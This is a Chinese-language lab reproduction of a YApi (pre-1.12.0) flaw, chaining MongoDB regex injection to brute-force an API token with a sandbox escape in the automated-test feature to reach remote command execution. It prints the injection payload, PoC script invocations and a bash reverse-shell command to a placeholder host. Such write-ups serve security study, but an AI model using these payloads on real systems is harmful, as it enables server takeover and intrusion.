YApi NoSQL 注入导致远程命令执行漏洞
概述
YApi 是一个可本地部署的、打通前后端及 QA 的、可视化的 API 管理平台。
YApi 在 1.12.0 之前的版本中由于 base.js
没有正确对 token
参数进行正确过滤,导致存在远程代码执行漏洞。攻击者可通过 MongoDB 注入获取用户 token
,其中包括用户 ID、项目 ID 等参数。YApi 后台的 pre-request 和 pre-response 方法存在缺陷点,通过注入调用自动化测试接口 runAutoTest()
,进而利用沙箱逃逸触发命令执行。
参考:https://mp.weixin.qq.com/s/eFD5FKyL9jA1l0_6jCDz_w
漏洞复现
启动靶场以后,首先访问:http://192.168.2.243:3000/可以进入 YApi 首页。
访问接口:http://192.168.2.243:3000/api/interface/up
构造 POST 请求体,Content-Type 为 application/json
,请求体为:
{"id": -1, "token": {"$regex": "^xxxxxxxxxxxxxxxxxxxx"}}
Token 一般是 20 位,若猜测的 Token 为正确的,则会返回 400,若是错误的,则会返回 40011。
一位一位爆破,即可获取到完整的 Token。
此处可以使用靶场提供的 POC 进行爆破,亦可用其他工具:
python poc.py --debug one4all -u http://192.168.2.243:3000/
最终爆破到 Token 为:1cae15606ea4b223b01a
随后借助该 Token 访问 :
/api/project/get
、/api/project/get
、/api/open/run_auto_test
、/api/project/up
、/api/open/run_auto_test
等接口,逐步获取 owner id、project_id 、col_id 等相关信息。
借助这些信息,将 JavaScript(POC 动态生成)注入到 Target,从而绕过沙箱,执行命令。
使用脚本获取到相应的信息,即可执行命令。
python poc.py rce -u http://192.168.2.243:3000/ -t 1cae15606ea4b223b01a -o 11 --pid 66 --cid 66 --command="bash -c 'bash -i >& /dev/tcp/IP/Port 0>&1'"
使用 POC 执行该命令即可获取到 Shell。